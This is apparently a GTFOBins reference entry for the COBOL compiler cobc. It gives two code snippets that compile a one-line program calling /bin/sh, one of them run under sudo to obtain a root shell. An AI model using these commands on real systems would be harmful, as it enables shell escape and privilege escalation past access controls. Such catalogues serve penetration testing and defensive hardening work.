GTFOBins.github.io/_gtfobins/cobc.md
2020-03-14 11:53:05 +01:00

14 lines
319 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
cobc -xFj --frelax-syntax-checks $TF/x
sudo:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
sudo cobc -xFj --frelax-syntax-checks $TF/x
---